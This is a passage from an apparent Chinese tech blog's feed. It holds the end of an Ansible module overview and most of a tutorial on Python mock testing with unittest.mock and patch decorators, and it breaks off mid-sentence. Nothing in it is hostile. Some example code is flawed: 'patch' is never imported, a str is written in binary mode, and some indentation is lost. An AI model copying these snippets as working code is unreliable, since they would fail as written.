id="&#x6587;&#x4EF6;&#x7BA1;&#x7406;&#x7C7B;">&#x6587;&#x4EF6;&#x7BA1;&#x7406;&#x7C7B;</h4><p>ansible.builtin.file</p><p>ansible.builtin.tempfile</p><p>ansible.builtin.lineinfile</p><p>ansible.builtin.copy</p><p>ansible.builtin.stat</p><p>ansible.builtin.find</p><p>ansible.builtin.git</p><h4 id="&#x5305;&#x7BA1;&#x7406;&#x7C7B;">&#x5305;&#x7BA1;&#x7406;&#x7C7B;</h4><p>ansible.builtin.pip</p><p>ansible.builtin.yum</p><p>ansible.builtin.apt</p><h4 id="&#x670D;&#x52A1;&#x7BA1;&#x7406;&#x7C7B;">&#x670D;&#x52A1;&#x7BA1;&#x7406;&#x7C7B;</h4><p>ansible.builtin.service</p><p>ansible.builtin.service_facts</p><p>ansible.builtin.systemd_service</p><p>ansible.builtin.sysvinit</p><p>&#x5177;&#x4F53;&#x4F7F;&#x7528;&#x53EF;&#x4EE5;&#x770B;&#x5B98;&#x65B9;&#x6587;&#x6863;&#xFF0C;&#x6216;&#x8005;&#x4F7F;&#x7528; <code>ansible-doc -s [module]</code> &#x67E5;&#x9605;&#x3002;</p><p>&#x4EE5;&#x4E0A;&#x3002;</p><hr><h2 id="References">References</h2><ul class="lvl-0"><li class="lvl-2"><p><a href="https://docs.ansible.com/ansible/latest/getting_started/index.html">Getting started with Ansible</a></p></li><li class="lvl-2"><p><a href="https://ansible-tran.readthedocs.io/en/latest/docs/intro.html">Ansible &#x4E2D;&#x6587;&#x6743;&#x5A01;&#x6307;&#x5357;</a></p></li><li class="lvl-2"><p><a href="https://www.cnblogs.com/keerya/p/7987886.html">&#x81EA;&#x52A8;&#x5316;&#x8FD0;&#x7EF4;&#x5DE5;&#x5177;&#x2013;ansible &#x8BB2;&#x89E3;</a></p></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;Ansible&amp;#x81EA;&amp;#x52A8;&amp;#x5316;&amp;#x8FD0;&amp;#x7EF4;&amp;#x5DE5;&amp;#x5177;&amp;#x7684;&amp;#x57FA;&amp;#x672C;&amp;#x6982;&amp;#x5FF5;&amp;#x4E0E;&amp;#x4F7F;&amp;#x7528;&amp;#x65B9;&amp;#x6CD5;&amp;#x3002;&amp;#x4F5C;&amp;#x4E3A;&amp;#x4E00;&amp;#x79CD;&amp;#x57FA;&amp;#x4E8E;Python&amp;#x7684;&amp;#x81EA;&amp;#x52A8;&amp;#x5316;&amp;#x5DE5;&amp;#x5177;&amp;#xFF0C;Ansible&amp;#x53EF;&amp;#x901A;&amp;#x8FC7;&amp;#x5355;&amp;#x4E2A;&amp;#x63A7;&amp;#x5236;&amp;#x8282;&amp;#x70B9;&amp;#x7BA1;&amp;#x7406;&amp;#x591A;&amp;#x4E2A;&amp;#x88AB;&amp;#x7BA1;&amp;#x7406;&amp;#x8282;&amp;#x70B9;&amp;#xFF0C;&amp;#x5B9E;&amp;#x73B0;&amp;#x6279;&amp;#x91CF;&amp;#x6587;&amp;#x4EF6;&amp;#x914D;&amp;#x7F6E;&amp;#x3001;&amp;#x90E8;&amp;#x7F72;&amp;#x548C;&amp;#x547D;&amp;#x4EE4;&amp;#x6267;&amp;#x884C;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x6DB5;&amp;#x76D6;&amp;#x4E86;Ansible&amp;#x7684;&amp;#x5B89;&amp;#x88C5;&amp;#x6B65;&amp;#x9AA4;&amp;#x3001;&amp;#x4E3B;&amp;#x673A;&amp;#x73AF;&amp;#x5883;&amp;#x51C6;&amp;#x5907;&amp;#x3001;inventory&amp;#x6587;&amp;#x4EF6;&amp;#x914D;&amp;#x7F6E;&amp;#x4EE5;&amp;#x53CA;&amp;#x6267;&amp;#x884C;ad-hoc&amp;#x547D;&amp;#x4EE4;&amp;#x7684;&amp;#x5B9E;&amp;#x7528;&amp;#x793A;&amp;#x4F8B;&amp;#xFF0C;&amp;#x662F;&amp;#x8FD0;&amp;#x7EF4;&amp;#x4EBA;&amp;#x5458;&amp;#x548C;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x5FEB;&amp;#x901F;&amp;#x638C;&amp;#x63E1;Ansible&amp;#x7684;&amp;#x5165;&amp;#x95E8;&amp;#x6307;&amp;#x5357;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    
    <category term="Python" scheme="https://oschina.win/tags/Python/"/>
    
    <category term="Tools" scheme="https://oschina.win/tags/Tools/"/>
    
  </entry>
  
  <entry>
    <title>Python Mock 测试</title>
    <link href="https://oschina.win/posts/7031d299.html"/>
    <id>https://oschina.win/posts/7031d299.html</id>
    <published>2024-09-12T17:33:14.000Z</published>
    <updated>2024-09-12T17:33:14.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x6DF1;&#x5165;&#x8BB2;&#x89E3;Python&#x7684;Mock&#x6D4B;&#x8BD5;&#x6280;&#x672F;&#xFF0C;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x4E86;&#x5982;&#x4F55;&#x4F7F;&#x7528;unittest.mock&#x6A21;&#x5757;&#x5728;&#x5355;&#x5143;&#x6D4B;&#x8BD5;&#x4E2D;&#x6A21;&#x62DF;&#x5916;&#x90E8;&#x4F9D;&#x8D56;&#x3002;&#x901A;&#x8FC7;&#x6587;&#x4EF6;&#x64CD;&#x4F5C;&#x3001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x548C;&#x6570;&#x636E;&#x5E93;&#x4EA4;&#x4E92;&#x7684;&#x5B9E;&#x4F8B;&#xFF0C;&#x5BF9;&#x6BD4;&#x4F20;&#x7EDF;&#x6D4B;&#x8BD5;&#x4E0E;Mock&#x6D4B;&#x8BD5;&#x7684;&#x533A;&#x522B;&#xFF0C;&#x5E76;&#x5168;&#x9762;&#x89E3;&#x6790;Mock&#x5BF9;&#x8C61;&#x7684;&#x5C5E;&#x6027;&#x914D;&#x7F6E;&#x3001;patch&#x88C5;&#x9970;&#x5668;&#x7684;&#x4F7F;&#x7528;&#x4EE5;&#x53CA;&#x65AD;&#x8A00;&#x65B9;&#x6CD5;&#x7684;&#x5E94;&#x7528;&#xFF0C;&#x5E2E;&#x52A9;&#x5F00;&#x53D1;&#x8005;&#x7F16;&#x5199;&#x66F4;&#x52A0;&#x72EC;&#x7ACB;&#x3001;&#x53EF;&#x9760;&#x7684;&#x6D4B;&#x8BD5;&#x4EE3;&#x7801;&#x3002;</p><span id="more"></span><h3 id="&#x4EC0;&#x4E48;&#x662F;-mock-test">&#x4EC0;&#x4E48;&#x662F; mock test</h3><p>mock &#x6D4B;&#x8BD5;&#x662F;&#x5728;&#x5355;&#x5143;&#x6D4B;&#x8BD5;&#x4E2D;&#x5E38;&#x7528;&#x7684;&#x6280;&#x672F;&#xFF0C;&#x5B83;&#x901A;&#x8FC7;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x6765;&#x66FF;&#x4EE3;&#x8F6F;&#x4EF6;&#x4E2D;&#x7684;&#x771F;&#x5B9E;&#x5BF9;&#x8C61;&#xFF0C;&#x4ECE;&#x800C;&#x9694;&#x79BB;&#x6D4B;&#x8BD5;&#x5BF9;&#x8C61;&#xFF0C;&#x4F7F;&#x6D4B;&#x8BD5;&#x66F4;&#x52A0;&#x72EC;&#x7ACB;&#x3001;&#x53EF;&#x9760;&#x3002;</p><p>&#x6BD4;&#x5982;&#x9879;&#x76EE;&#x91CC;&#x9762;&#x9700;&#x8981;&#x65B0;&#x589E;&#x4E00;&#x4E2A;&#x590D;&#x6742;&#x7684;&#x4E1A;&#x52A1;&#x6A21;&#x5757;&#xFF0C;&#x5185;&#x90E8;&#x8C03;&#x7528;&#x4E86;&#x8EAB;&#x4EFD;&#x9A8C;&#x8BC1;&#x3001;&#x6570;&#x636E;&#x5E93;&#x67E5;&#x8BE2;&#x3001;&#x6587;&#x4EF6;&#x8BFB;&#x5199;&#x7B49;&#x7B49;&#x6A21;&#x5757;&#x3002;&#x5728;&#x4E0A;&#x7EBF;&#x4E4B;&#x524D;&#xFF0C;&#x5F00;&#x53D1;&#x9636;&#x6BB5;&#x5BF9;&#x8FD9;&#x4E2A;&#x529F;&#x80FD;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#x662F;&#x6709;&#x5FC5;&#x8981;&#x7684;&#xFF0C;&#x4F46;&#x662F;&#x6709;&#x65F6;&#x5019;&#x4E3A;&#x4E86;&#x589E;&#x52A0;&#x8FD9;&#x4E2A;&#x529F;&#x80FD;&#x642D;&#x5EFA;&#x4E00;&#x5957;&#x771F;&#x5B9E;&#x6D4B;&#x8BD5;&#x73AF;&#x5883;&#x662F;&#x6BD4;&#x8F83;&#x9EBB;&#x70E6;&#x7684;&#xFF0C;&#x6216;&#x8005;&#x8BF4;&#x6210;&#x672C;&#x6BD4;&#x8F83;&#x5927;&#x3002;&#x800C;&#x5982;&#x679C;&#x4E0D;&#x80FD;&#x63D0;&#x4F9B;&#x771F;&#x5B9E;&#x7684;&#x6D4B;&#x8BD5;&#x73AF;&#x5883;&#xFF0C;&#x6211;&#x4EEC;&#x65E0;&#x6CD5;&#x51C6;&#x786E;&#x6D4B;&#x8BD5;&#x8FD9;&#x4E2A;&#x6A21;&#x5757;&#x662F;&#x5426;&#x80FD;&#x5168;&#x90E8;&#x6309;&#x9884;&#x671F;&#x6267;&#x884C;&#xFF0C;&#x5305;&#x62EC;&#x5404;&#x79CD;&#x903B;&#x8F91;&#x5206;&#x652F;&#x7684;&#x6D41;&#x7A0B;&#xFF0C;&#x548C;&#x5BF9;&#x9519;&#x8BEF;&#x7684;&#x5904;&#x7406;&#x7B49;&#x7B49;&#xFF0C;&#x6BD5;&#x7ADF;&#x5B8C;&#x7F8E;&#x7684;&#x4EE3;&#x7801;&#x5F88;&#x5C11;&#x3002;</p><p>&#x518D;&#x6BD4;&#x5982;&#x8981;&#x6D4B;&#x8BD5;&#x4E00;&#x4E2A;&#x6587;&#x4EF6;&#x5220;&#x9664;&#x529F;&#x80FD;&#xFF0C;&#x4F20;&#x7EDF;&#x7684;&#x6D4B;&#x8BD5;&#x53EF;&#x80FD;&#x9700;&#x8981;&#x6BCF;&#x6B21;&#x8C03;&#x7528; <code>tempfile</code> &#x6A21;&#x5757;&#x5728;&#x4E34;&#x65F6;&#x76EE;&#x5F55;&#x4E2D;&#x5148;&#x521B;&#x5EFA;&#x4E34;&#x65F6;&#x6587;&#x4EF6;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x5220;&#x9664;&#x3002;&#x4F46;&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x6CA1;&#x529E;&#x6CD5;&#x77E5;&#x9053;&#x5220;&#x9664;&#x51FD;&#x6570;&#x5185;&#x90E8;&#x662F;&#x5982;&#x4F55;&#x4F20;&#x9012;&#x53C2;&#x6570;&#xFF0C;&#x5982;&#x4F55;&#x6267;&#x884C;&#x5404;&#x4E2A;&#x6B65;&#x9AA4;&#x7684;&#xFF0C;&#x53EA;&#x80FD;&#x5BF9;&#x7ED3;&#x679C;&#x8FDB;&#x884C;&#x65AD;&#x8A00;&#x3002;</p><p>&#x8FD9;&#x4E2A;&#x65F6;&#x5019; mock &#x6D4B;&#x8BD5;&#x5C31;&#x6B63;&#x662F;&#x6D3E;&#x4E0A;&#x7528;&#x573A;&#x4E86;&#x3002;&#x5728;&#x8FD9;&#x4E9B;&#x6D89;&#x53CA;&#x5230;&#x6587;&#x4EF6;&#x64CD;&#x4F5C;&#x3001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x3001;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;&#x7B49;<strong>&#x5916;&#x90E8;&#x4F9D;&#x8D56;</strong>&#x7684;&#x573A;&#x666F;&#x4E0B;&#xFF0C;mock &#x6D4B;&#x8BD5;&#x5C31;&#x5F88;&#x6709;&#x7528;&#x5904;&#x3002;</p><p>Python 3.3 &#x5F00;&#x59CB;&#xFF0C;Python &#x5185;&#x7F6E;&#x4E86; unittest.mock &#x6A21;&#x5757;&#xFF0C;&#x63D0;&#x4F9B;&#x4E86; Mock &#x529F;&#x80FD;&#x3002;&#x5B83;&#x901A;&#x8FC7;&#x521B;&#x5EFA; mock &#x5BF9;&#x8C61;&#x66FF;&#x6362;&#x6389;&#x6307;&#x5B9A;&#x7684;&#x5BF9;&#x8C61;&#xFF08;Python &#x4E2D;&#x4E00;&#x5207;&#x7686;&#x5BF9;&#x8C61;&#xFF09;&#x6765;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x7684;&#x884C;&#x4E3A;&#x3002;</p><h3 id="&#x4EC0;&#x4E48;&#x573A;&#x666F;&#x4E0B;&#x9002;&#x5408;&#x4F7F;&#x7528;-mock-test">&#x4EC0;&#x4E48;&#x573A;&#x666F;&#x4E0B;&#x9002;&#x5408;&#x4F7F;&#x7528; mock test</h3><p>&#x5728;&#x8FDB;&#x884C;&#x5355;&#x5143;&#x6D4B;&#x8BD5;&#x65F6;&#xFF0C;&#x4E00;&#x4E2A;&#x6A21;&#x5757;&#x3001;&#x51FD;&#x6570;&#x5185;&#x90E8;&#x8C03;&#x7528;&#x4E86;&#x5916;&#x90E8;&#x7684;&#x3001;&#x7CFB;&#x7EDF;&#x7684;&#x6A21;&#x5757;&#x7684;&#x65F6;&#x5019;&#x4F7F;&#x7528; mock &#x6D4B;&#x8BD5;&#x6BD4;&#x8F83;&#x5408;&#x9002;&#x3002;&#x8FD9;&#x6837;&#x53EF;&#x4EE5;&#x4FDD;&#x6301;&#x6D4B;&#x8BD5;&#x76EE;&#x6807;&#x4E0E;&#x5176;&#x4ED6;&#x6A21;&#x5757;&#x9694;&#x79BB;&#xFF0C;&#x63D0;&#x9AD8;&#x6548;&#x7387;&#x548C;&#x53EF;&#x9760;&#x6027;&#x3002;</p><h3 id="mock-test-&#x7528;&#x4F8B;">mock test &#x7528;&#x4F8B;</h3><p>&#x5927;&#x6982;&#x4ECE;&#x6587;&#x4EF6;&#x7684;&#x64CD;&#x4F5C;&#x3001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x3001;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;&#x4E09;&#x4E2A;&#x65B9;&#x9762;&#x8FDB;&#x884C;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x3002;</p><h4 id="1-&#x6A21;&#x62DF;&#x6587;&#x4EF6;&#x7684;&#x5220;&#x9664;">1. &#x6A21;&#x62DF;&#x6587;&#x4EF6;&#x7684;&#x5220;&#x9664;</h4><ol><li class="lvl-3"><p>&#x6587;&#x4EF6;&#x7684;&#x5220;&#x9664;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x5982;&#x4E0B;&#xFF1A;</p></li></ol><figure class="highlight python"><figcaption><span>mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> os.path</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rm_file</span>(<span class="params">filename</span>):</span><br><span class="line"><span class="keyword">if</span> os.path.isfile(filename):</span><br><span class="line">os.remove(filename)</span><br></pre></td></tr></table></figure><p>&#x4F20;&#x7EDF;&#x7684;&#x6D4B;&#x8BD5;&#x5199;&#x6CD5;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight python"><figcaption><span>test_mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment"># &#x5F53;&#x88AB;&#x6D4B;&#x51FD;&#x6570;&#x5728;&#x53E6;&#x5916;&#x4E00;&#x4E2A;&#x6A21;&#x5757;&#x91CC;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x5BFC;&#x5165;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> mymodule <span class="keyword">import</span> rm_file</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> os.path</span><br><span class="line"><span class="keyword">import</span> tempfile</span><br><span class="line"><span class="keyword">import</span> unittest</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">RmTestCase</span>(unittest.TestCase): <span class="comment"># &#x521B;&#x5EFA;&#x4E34;&#x65F6;&#x6587;&#x4EF6;</span></span><br><span class="line">tmpfilepath = os.path.join(tempfile.gettempdir(), <span class="string">&quot;tmp-testfile&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># &#x5411;&#x4E34;&#x65F6;&#x6587;&#x4EF6;&#x4E2D;&#x5199;&#x5165;&#x6D4B;&#x8BD5;&#x6570;&#x636E;</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">setUp</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="variable language_">self</span>.tmpfilepath, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(<span class="string">&quot;Delete me!&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">test_rm</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="comment"># &#x8C03;&#x7528;&#x76EE;&#x6807;&#x5220;&#x9664;&#x51FD;&#x6570;</span></span><br><span class="line">        rm_file(<span class="variable language_">self</span>.tmpfilepath)</span><br><span class="line">        <span class="comment"># &#x5224;&#x65AD;&#x6587;&#x4EF6;&#x662F;&#x5426;&#x8FD8;&#x5B58;&#x5728;</span></span><br><span class="line">        <span class="variable language_">self</span>.assertFalse(os.path.isfile(<span class="variable language_">self</span>.tmpfilepath), <span class="string">&quot;Failed to remove the file.&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x6837; <code>rm_file</code> &#x5185;&#x90E8;&#x7684;&#x6267;&#x884C;&#x60C5;&#x51B5;&#x5982;&#x4F55;&#xFF0C;&#x4ECE;&#x8FD9;&#x91CC;&#x7684;&#x6D4B;&#x8BD5;&#x91CC;&#x662F;&#x770B;&#x4E0D;&#x51FA;&#x6765;&#x7684;&#xFF0C;&#x4E5F;&#x6CA1;&#x6709;&#x6D4B;&#x8BD5;&#x5230;&#x5982;&#x679C;&#x6587;&#x4EF6;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x60C5;&#x51B5;&#x3002;&#x6700;&#x5173;&#x952E;&#x662F;&#x8FD9;&#x4E2A;&#x6D4B;&#x8BD5;&#x5B9E;&#x9645;&#x4E0A;&#x8DDF;&#x7CFB;&#x7EDF;&#x6709;&#x4EA4;&#x4E92;&#xFF0C;&#x771F;&#x5B9E;&#x7684;&#x4F7F;&#x7528;&#x4E86;&#x6D4B;&#x8BD5;&#x6A21;&#x5757;&#x5916;&#x90E8;&#x7684;&#x7CFB;&#x7EDF;&#x8D44;&#x6E90;&#x6765;&#x521B;&#x5EFA;&#x4E34;&#x65F6;&#x6D4B;&#x8BD5;&#x6587;&#x4EF6;&#x3002;</p><p>&#x800C; mock &#x6D4B;&#x8BD5;&#x7684;&#x5199;&#x6CD5;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight python"><figcaption><span>test_mymodule.py</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment"># &#x5F53;&#x88AB;&#x6D4B;&#x51FD;&#x6570;&#x5728;&#x53E6;&#x5916;&#x4E00;&#x4E2A;&#x6A21;&#x5757;&#x91CC;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x5BFC;&#x5165;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> mymodule <span class="keyword">import</span> rm_file</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> mock</span><br><span class="line"><span class="keyword">import</span> unittest</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">TestRemoveFile</span>(unittest.TestCase):</span><br><span class="line"><span class="meta">@patch(<span class="params"><span class="string">&apos;os.remove&apos;</span></span>) </span><span class="comment"># &#x6A21;&#x62DF;&#x5BF9;&#x8C61; os.remove</span></span><br><span class="line"><span class="meta">@patch(<span class="params"><span class="string">&apos;os.path&apos;</span></span>) </span><span class="comment"># &#x6A21;&#x62DF;&#x5BF9;&#x8C61; os.path</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">test_rm</span>(<span class="params">self, mock_path, mock_remove</span>): <span class="comment"># mock &#x5BF9;&#x8C61; mock_remove &#x4F1A;&#x66FF;&#x6362; os.remove &#x51FD;&#x6570; # &#x6A21;&#x62DF;&#x5BF9;&#x8C61; mock_path.isfile &#x8FD4;&#x56DE;&#x503C;&#x4E3A; True, &#x8868;&#x793A;&#x6587;&#x4EF6;&#x5B58;&#x5728;</span></span><br><span class="line">mock_path.isfile.return_value = <span class="literal">True</span> <span class="comment"># &#x88AB;&#x6D4B;&#x51FD;&#x6570;&#x8C03;&#x7528;</span></span><br><span class="line">rm_file(<span class="string">&apos;dummy.txt&apos;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># &#x65AD;&#x8A00;&#x53C2;&#x6570;&#x88AB; os.path.isfile(), os.remove() &#x8C03;&#x7528;&#xFF0C;&#x4E14;&#x53EA;&#x8C03;&#x7528;&#x4E00;&#x6B21;</span></span><br><span class="line">        mock_path.isfile.assert_called_once_with(<span class="string">&apos;dummy.txt&apos;</span>)</span><br><span class="line">        mock_remove.assert_called_once_with(<span class="string">&apos;dummy.txt&apos;</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&apos;os.remove&apos;</span></span>)</span></span><br><span class="line"><span class="meta">    @patch(<span class="params"><span class="string">&apos;os.path.isfile&apos;</span></span>)  </span><span class="comment"># &#x6A21;&#x62DF;&#x5BF9;&#x8C61; os.path.isfile&#xFF0C; &#x8DDF;&#x6A21;&#x62DF; os.path &#x5DEE;&#x4E0D;&#x591A;</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">test_rm_file_does_not_exist</span>(<span class="params">self, mock_isfile, mock_remove</span>): <span class="comment"># &#x8FD9;&#x91CC;&#x53C2;&#x6570;&#x7684;&#x987A;&#x5E8F;&#x4E0D;&#x80FD;&#x9519;&#xFF0C;&#x6309;&#x7167;&#x88C5;&#x9970;&#x5668; @patch &#x4ECE;&#x4E0B;&#x5230;&#x4E0A;&#x7684;&#x987A;&#x5E8F;&#x5728;&#x8FD9;&#x91CC;&#x4ECE;&#x5DE6;&#x5230;&#x53F3;</span></span><br><span class="line">        <span class="comment"># &#x6A21;&#x62DF;&#x5F53;&#x6587;&#x4EF6;&#x4E0D;&#x5B58;&#x5728;&#x65F6;</span></span><br><span class="line">        mock_isfile.return_value = <span class="literal">False</span></span><br><span class="line">        <span class="comment"># &#x88AB;&#x6D4B;&#x51FD;&#x6570;&#x8C03;&#x7528;</span></span><br><span class="line">        rm_file(<span class="string">&apos;dummy.txt&apos;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># &#x53EA;&#x8C03;&#x7528;&#x4E86; os.path.isfile() &#x4E00;&#x6B21;, &#x4F46;&#x662F;&#x6CA1;&#x6709;&#x8C03;&#x7528; os.remove()&#xFF0C;&#x56E0;&#x4E3A;&#x6587;&#x4EF6;&#x4E0D;&#x5B58;&#x5728;</span></span><br><span class="line">        mock_isfile.assert_called_once_with(<span class="string">&apos;dummy.txt&apos;</span>)</span><br><span class="line">        mock_remove.assert_not_called()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x5BF9; <code>rm_file()</code> &#x51FD;&#x6570;&#x7684;&#x5185;&#x90E8;&#x903B;&#x8F91;&#x8FDB;&#x884C;&#x4E86;&#x5145;&#x5206;&#x7684;&#x6D4B;&#x8BD5;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x521B;&#x5EFA;&#x771F;&#x5B9E;&#x7684;&#x6587;&#x4EF6;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x771F;&#x7684;&#x6D4B;&#x8BD5;&#x5220;&#x9664;&#x5C31;&#x53EF;&#x4EE5;&#x5BF9;&#x4EE3;&#x7801;&#x7684;&#x903B;&#x8F91;&#x6B63;&#x786E;&#x6027;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#x3002;</p><p>&#x5148;&#x770B;&#x4E0B; mock &#x5BF9;&#x8C61;&#x7684;&#x5B9A;&#x4E49;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">unittest</span>.mock.Mock(spec=<span class="literal">None</span>, side_effect=<span class="literal">None</span>, return_value=DEFAULT, wraps=<span class="literal">None</span>, name=<span class="literal">None</span>, spec_set=<span class="literal">None</span>, unsafe=<span class="literal">False</span>, \*\*kwargs)</span><br></pre></td></tr></table></figure><p>&#x5176;&#x4E2D;:<br><code>return_value</code> &#xFF1A;&#x8C03;&#x7528; mock &#x7684;&#x8FD4;&#x56DE;&#x503C;&#xFF0C;&#x6A21;&#x62DF;&#x67D0;&#x4E00;&#x4E2A;&#x65B9;&#x6CD5;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x3002;</p><p><code>side_effect</code> &#xFF1A;&#x8C03;&#x7528; mock &#x65F6;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#xFF0C;&#x53EF;&#x4EE5;&#x662F;&#x51FD;&#x6570;&#xFF0C;&#x5F02;&#x5E38;&#x7C7B;&#xFF0C;&#x53EF;&#x8FED;&#x4EE3;&#x5BF9;&#x8C61;&#x3002;&#x4F7F;&#x7528; side_effect &#x53EF;&#x4EE5;&#x5C06;&#x6A21;&#x62DF;&#x5BF9;&#x8C61;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x53D8;&#x6210;&#x51FD;&#x6570;&#xFF0C;&#x5F02;&#x5E38;&#x7C7B;&#xFF0C;&#x53EF;&#x8FED;&#x4EE3;&#x5BF9;&#x8C61;&#x7B49;&#x3002;&#x5F53;&#x8BBE;&#x7F6E;&#x4E86;&#x8BE5;&#x65B9;&#x6CD5;&#x65F6;&#xFF0C;&#x5982;&#x679C;&#x8BE5;&#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x503C;&#x662F; DEFAULT&#xFF0C;&#x90A3;&#x4E48;&#x8FD4;&#x56DE; return_value &#x7684;&#x503C;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x662F;&#xFF0C;&#x5219;&#x8FD4;&#x56DE;&#x8BE5;&#x65B9;&#x6CD5;&#x7684;&#x503C;&#x3002; return_value &#x548C; side_effect &#x540C;&#x65F6;&#x5B58;&#x5728;&#xFF0C;side_effect &#x4F1A;&#x8986;&#x76D6; return_value &#x7684;&#x503C;&#x3002;&#x5982;&#x679C; side_effect &#x662F;&#x5F02;&#x5E38;&#x7C7B;&#x6216;&#x5B9E;&#x4F8B;&#x65F6;&#xFF0C;&#x8C03;&#x7528;&#x6A21;&#x62DF;&#x7A0B;&#x5E8F;&#x65F6;&#x5C06;&#x5F15;&#x53D1;&#x5F02;&#x5E38;&#x3002;&#x5982;&#x679C; side_effect &#x662F;&#x53EF;&#x8FED;&#x4EE3;&#x5BF9;&#x8C61;&#xFF0C;&#x5219;&#x6BCF;&#x6B21;&#x8C03;&#x7528; mock &#x90FD;&#x5C06;&#x8FD4;&#x56DE;&#x53EF;&#x8FED;&#x4EE3;&#x5BF9;&#x8C61;&#x7684;&#x4E0B;&#x4E00;&#x4E2A;&#x503C;&#x3002;</p><p><code>name</code> &#xFF1A;mock &#x7684;&#x540D;&#x79F0;&#x3002; &#x8FD9;&#x4E2A;&#x662F;&#x7528;&#x6765;&#x547D;&#x540D;&#x4E00;&#x4E2A; mock &#x5BF9;&#x8C61;&#xFF0C;&#x53EA;&#x662F;&#x8D77;&#x5230;&#x6807;&#x8BC6;&#x4F5C;&#x7528;&#xFF0C;&#x5F53;&#x4F60; print &#x4E00;&#x4E2A; mock 